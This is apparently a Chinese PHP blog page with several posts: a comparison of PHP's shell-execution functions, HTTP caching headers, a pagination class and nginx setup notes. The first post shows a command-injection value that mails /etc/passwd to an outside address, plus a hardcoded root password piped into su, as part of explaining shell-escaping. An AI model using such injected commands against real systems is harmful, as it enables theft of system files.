Feb17

PHP中调用系统命令的system(),exec(),passthru()比较

Author: 邹清水  Click: 38134   Comments: 0 Category: php  Tag: exec,system,passthru,php

我们知道php给我们提供了system(),exec(),passthru()这三个函数来调用外部的命令.
虽然这三个命令都能执行linux系统的shell命令,但是其实他们是有区别的:
    system() 输出并返回最后一行shell结果。
    exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
    passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
  相同点:都可以获得命令执行的状态码

在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供了3个专门的执行外部命令的函数:system(),exec(),passthru()。

system()
原型:string system (string command [, int return_var])
system()函数和其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
[code="php"]
system("/usr/local/bin/webalizer/webalizer");
[/code]

exec()
原型:string exec(string command [, string array [, int return_var]])
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。如果array不是空的,在调用之前最好用unset()把它清除干净。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
[code="php"]
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
[/code]

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
[code="php"]
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
[/code]

2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
[code="php"]
$fp=popen("/bin/ls -l", "r");
[/code]

例子2
[code="php"]
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
[/code]

3) 用反撇号`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
[code="php"]
$res='/bin/ls -l';
echo ''.$res.'';
[/code]

这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
[code="php"]
system("mail $to < products.txt");
[/code]
echo "我们的产品目录已经发送到你的信箱:$to";

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
[code="bash"]
'--bla ; mail someone@domain.com < /etc/passwd ;'
[/code]
那么这条命令最终变成:
[code="bash"]
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
[/code]
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸好,PHP为我们提供了两个函数:EscapeShellCmd()EscapeShellArg() 。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(;),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:
[code="php"]
system("/usr/local/bin/order_proc > /tmp/null &");
[/code]

转载自邹清水 - 你的朋友

 

Feb17

HTTP中cache-control的应用及说明

Author: leeon  Click: 8733   Comments: 0 Category: php  Tag: php,cache,control,http

网页的缓存是由HTTP消息头中的“Cache-control”来控制的,常见的取值有private、no-cache、max-age、must-revalidate等,默认为private。其作用根据不同的重新浏览方式分为以下几种情况:

(1) 打开新窗口
     值为private、no-cache、must-revalidate,那么打开新窗口访问时都会重新访问服务器。
而如果指定了max-age值,那么在此值内的时间里就不会重新访问服务器,例如:
Cache-control: max-age=5(表示当访问此网页后的5秒 内再次访问不会去服务器)

(2) 在地址栏回车
     值为private或must-revalidate则只有第一次访问时会访问服务器,以后就不再访问。
     值为no-cache,那么每次都会访问。
     值为max-age,则在过期之前不会重复访问。

(3) 按后退按扭
   值为private、must-revalidate、max-age,则不会重访问,
   值为no-cache,则每次都重复访问

(4) 按刷新按扭
无论为何值,都会重复访问

Cache-control值为“no-cache”时,访问此页面不会在Internet临时文章夹留下页面备份。

另外,通过指定“Expires”值也会影响到缓存。例如,指定Expires值为一个早已过去的时间,那么访问此网时若重复在地址栏按回车,那么每次都会重复访问: Expires: Fri, 31 Dec 1999 16:00:00 GMT

比如:禁止页面在IE中缓存

http响应消息头部设置:

CacheControl = no-cache
Pragma=no-cache
Expires = -1

Expires是个好东东,如果服务器上的网页经常变化,就把它设置为-1,表示立即过期。如果一个网页每天凌晨1点更新,可以把Expires设置为第二天的凌晨1点。

当HTTP1.1服务器指定CacheControl = no-cache时,浏览器就不会缓存该网页。

旧式 HTTP 1.0 服务器不能使用 Cache-Control 标题。
所以为了向后兼容 HTTP 1.0 服务器,IE使用Pragma:no-cache 标题对 HTTP 提供特殊支持。

如果客户端通过安全连接 (https://)与服务器通讯,且服务器在响应中返回 Pragma:no-cache 标题,
则 Internet Explorer不会缓存此响应。注意:Pragma:no-cache 仅当在安全连接中使用时才防止缓存,如果在非安全页中使用,处理方式与 Expires:-1相同,该页将被缓存,但被标记为立即过期



header常用指令
header分为三部分:
第一部分为HTTP协议的版本(HTTP-Version);
第二部分为状态代码(Status);
第三部分为原因短语(Reason-Phrase)。

[code="php"]
// fix 404 pages:   用这个header指令来解决URL重写产生的404 header 
header('HTTP/1.1 200 OK');
[/code]
  
[code="php"]
// set 404 header: 页面没找到
header('HTTP/1.1 404 Not Found');
[/code]
  
[code="php"]
//页面被永久删除,可以告诉搜索引擎更新它们的urls
// set Moved Permanently header (good for redrictions)
// use with location header
header('HTTP/1.1 301 Moved Permanently');

// 访问受限
header('HTTP/1.1 403 Forbidden');

// 服务器错误
header('HTTP/1.1 500 Internal Server Error');

[/code]
  
[code="php"]
// 重定向到一个新的位置
// redirect to a new location:
header('Location: http://www.example.org/');
[/code]
  
[code="php"]
//延迟一段时间后重定向
// redrict with delay:
header('Refresh: 10; url=http://www.example.org/');
print 'You will be redirected in 10 seconds';
[/code]
  
[code="php"]
// 覆盖 X-Powered-By value
// override X-Powered-By: PHP:
header('X-Powered-By: PHP/4.4.0');
header('X-Powered-By: Brain/0.6b');

[/code]  

[code="php"]
// 内容语言 (en = English)
// content language (en = English)
header('Content-language: en');
[/code]
  
[code="php"]
//最后修改时间(在缓存的时候可以用到)
// last modified (good for caching)
$time = time() - 60; // or filemtime($fn), etc
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $time).' GMT');
[/code]
  
[code="php"]
// 告诉浏览器要获取的内容还没有更新
// header for telling the browser that the content
// did not get changed
header('HTTP/1.1 304 Not Modified');
[/code]
  
[code="php"]
// 设置内容的长度 (缓存的时候可以用到):
// set content length (good for caching):
header('Content-Length: 1234');
[/code]
  
[code="php"]
// 用来下载文件:
// Headers for an download:
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="example.zip"');
header('Content-Transfer-Encoding: binary');
[/code] 
 
[code="php"]
// 禁止缓存当前文档:
// load the file to send:readfile('example.zip');
// Disable caching of the current document:
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
[/code]

[code="php"]
// 设置内容类型:
// Date in the pastheader('Pragma: no-cache');
// set content type:
header('Content-Type: text/html; charset=iso-8859-1');
header('Content-Type: text/html; charset=utf-8');
header('Content-Type: text/plain');
[/code]
 
[code="php"]
// plain text file
header('Content-Type: image/jpeg');

// JPG picture
header('Content-Type: application/zip');

// ZIP file
header('Content-Type: application/pdf');

// PDF file
header('Content-Type: audio/mpeg');

// Audio MPEG (MP3,...) file
header('Content-Type: application/x-shockwave-flash');

[/code]

[code="php"]
// 显示登录对话框,可以用来进行HTTP认证
// Flash animation// show sign in box
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Basic realm="Top Secret"');
print 'Text that will be displayed if the user hits cancel or ';
print 'enters wrong login data';
[/code]

Feb16

分享我的PHP分页函数类[原创]

Author: leeon  Click: 7048   Comments: 2 Category: php  Tag: php,分页
构造函数中的两个参数为查询的SQL语句和每页显示的行数
最终样式为:

CSS源码:
[code="css"]
#pages{display:block; text-align:center; overflow:hidden; color:#000; font-size:13px}
#pages a{color:#333; text-decoration:none; font-family:Verdana,Geneva,sans-serif; padding:2px 3px; display:block}
#pages li{float:left; display:inline-block; border:1px solid #999; margin-right:3px; margin-left:3px}
#pages #spages{background:#CCC; font-weight:bold; color:#36C}
[/code]
PHP分页函数类源码:
[code="php"]
<?php
/*
* 分页模块
*/

interface Page{
public function showpage();
}

class AdminPage implements Page{
/*
* 构造参数
* SQL语句,每页显示数,url
*/
private $sql;
private $pageline; //每页显示多少行数据
private $urlstr;
private $nowpage;
private $totalNum;
private $pageNum;
private $pageStr;// 形成分页字符串

public function __construct($sql,$p){
$this->sql = $sql;
$this->pageline = $p;
$this->urlstr = $_SERVER['SCRIPT_NAME'];
if(empty($_GET['p'])){
$this->nowpage = 1; //初始化当前页数为1
}else if(is_numeric($_GET['p'])){
$this->nowpage = $_GET['p'];
}else{
$e = new Error(6);
$e->show();
}

$s = new Sql();
$this->totalNum = $s->results_exist_num($this->sql);
$this->pageNum = ceil($this->totalNum/$this->pageline);

}
/*
* 形式为:
* 首页| 上一页| 1 | 2 | 3 | 4 | 5 |下一页 | 末页
*
*
*/

public function showpage(){
if($this->pageNum >=1 && $this->nowpage <5 ){

if( $this->pageNum <=5){

$this->pageStr = '<ul id="pages"><li><a href="'.$this->urlstr.'?p=1" target="rframe" >首页</a></li>';
if($this->nowpage!=1){
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage-1).'" target="rframe" >上一页</a></li>';
}
for($i=1;$i<=$this->pageNum;$i++){
if($i==$this->nowpage){
$this->pageStr .='<li id="spages"><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}else{
$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}
}
if($this->nowpage !=$this->pageNum){
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage+1).'" target="rframe" >下一页</a></li>';
}

$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$this->pageNum.'" target="rframe" >末页</a></li>';
echo $this->pageStr;

}else if($this->pageNum>5){

$this->pageStr = '<ul id="pages"><li><a href="'.$this->urlstr.'?p=1" target="rframe" >首页</a></li>';
if($this->nowpage !=1){
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage-1).'" target="rframe" >上一页</a></li>';
}

for($i=1;$i<=5;$i++){
if($i==$this->nowpage){
$this->pageStr .='<li id="spages"><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}else{
$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}
}
if($this->nowpage !=$this->pageNum){
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage+1).'" target="rframe" >下一页</a></li>';
}

$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$this->pageNum.'" target="rframe" >末页</a></li>';
echo $this->pageStr;
}

}else if($this->nowpage <= $this->pageNum -2 && $this->nowpage>=5){
$this->pageStr = '<ul id="pages"><li><a href="'.$this->urlstr.'?p=1" target="rframe" >首页</a></li>';
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage-1).'" target="rframe" >上一页</a></li>';
for($i=$this->nowpage-2;$i<=$this->nowpage+2;$i++){
if($i==$this->nowpage){
$this->pageStr .='<li id="spages"><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}else{
$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}
}
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage+1).'" target="rframe" >下一页</a></li>';
$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$this->pageNum.'" target="rframe" >末页</a></li>';
echo $this->pageStr;

}else if($this->nowpage>=$this->pageNum-3 && $this->nowpage <=$this->pageNum){

$this->pageStr = '<ul id="pages"><li><a href="'.$this->urlstr.'?p=1" target="rframe" >首页</a></li>';
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage-1).'" target="rframe" >上一页</a></li>';

for($i=$this->pageNum-4;$i<=$this->pageNum;$i++){
if($i==$this->nowpage){
$this->pageStr .='<li id="spages"><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}else{
$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$i.'" target="rframe" >'.$i.'</a></li>';
}
}
if($this->nowpage !=$this->pageNum){
$this->pageStr .= '<li><a href="'.$this->urlstr.'?p='.($this->nowpage+1).'" target="rframe" >下一页</a></li>';
}

$this->pageStr .='<li><a href="'.$this->urlstr.'?p='.$this->pageNum.'" target="rframe" >末页</a></li>';
echo $this->pageStr;

}
}
}
[/code]
Feb11

nginx+php安装小记

Author: leeon  Click: 7669   Comments: 0 Category: php  Tag: nginx,php

在redhat5或者centos5中nginx+php安装需要以下安装包

gcc gcc-c++ autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5 krb5-devel libidn libidn-devel openssl openssl-devel openldap openldap-devel nss_ldap openldap-clients openldap-servers

同时要下载重新编译的包有:



libiconv
由于历史原因,国际化的文字常常由于语言或者国家的原因使用不同的编码。随着互联网时代的到来,通过互联网进行文字交流也逐渐增多:浏览外国的网站,这个时候字符编码的转换变得尤为重要。这带来了一个问题,就是许多字符在某一种编码方式中没有。为了解决这种混乱,Unicode的编码方式被建立。 Unicode是一种超级编码包含了所有这些编码的字符集,因此一些新的文本格式像XML的默认编码方式就是Unicode.
但是很多老式的计算机还在使用当地的传统的字符编码方式。而一些程序,例如邮件程序和浏览器必须能在这些不同的用户编码之间作转换。其他的一些程序则内置支持Unicode,以顺利支持国际化的处理,但是仍然有在Unicode和其他的传统编码之间转换的需求。GNU的libiconv就是为这两种应用设计的编码转换库。
libiconv库为需要做转换的应用提供了一个iconv()的函数,以实现一个字符编码到另一个字符编码的转换。
libiconv多被用在应用需要多字节编码而目标系统部支持多自己编码的时候。



libmcrypt
为php提供加密算法的函数库



mhash
mhash是一个提供hash算法的运算的统一接口库



mcrypt
为php提供丰富的加密算法的命令行工具,与libmcrypt相关



memcache
 memcache是一个高性能的分布式的内存对象缓存系统,通过在内存里维护一个统一的巨大的hash表,它能够用来存储各种格式的数据,包括图像、视频、文件以及数据库检索的结果等。



eaccelerator
eAccelerator是一个自由开放源码php加速器,优化和动态内容缓存,提高了php脚本的缓存性能,使得PHP脚本在编译的状态下,对服务器的开销几乎完全消除。



PDO_MYSQL
PDO为php提供一个统一访问数据库的接口


ImageMagick
 ImageMagick是一套稳定的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件,包括流行的TIFF, JPEG, GIF, PNG, PDF以及PhotoCD等格式。



imagick
imagick 是PHP的一个扩展程序,它是默认的GD图象函数库的绝佳替代方案。ImageMagick为imagick提供支持


PHP 5.2.12 与nginx 0.7.65安装问题:
5.2.12在打了php-fpm补丁后编译却提示--enable-fpm参数无效
这时候请输入
./buildconf --force
重建configure文件,这样就可以有enable-fpm选项了

分类

标签

归档

最新评论

Abyss在00:04:28评论了
Linux中ramdisk,tmpfs,ramfs的介绍与性能测试
shallwe99在10:21:17评论了
【原创】如何在微信小程序开发中正确的使用vant ui组件
默一在09:04:53评论了
Berkeley DB 由浅入深【转自架构师杨建】
Memory在14:09:22评论了
【原创】最佳PHP框架选择(phalcon,yaf,laravel,thinkphp,yii)
leo在17:57:04评论了
shell中使用while循环ssh的注意事项

我看过的书

链接

其他

访问本站种子 本站平均热度:8823 c° 本站链接数:1 个 本站标签数:464 个 本站被评论次数:94 次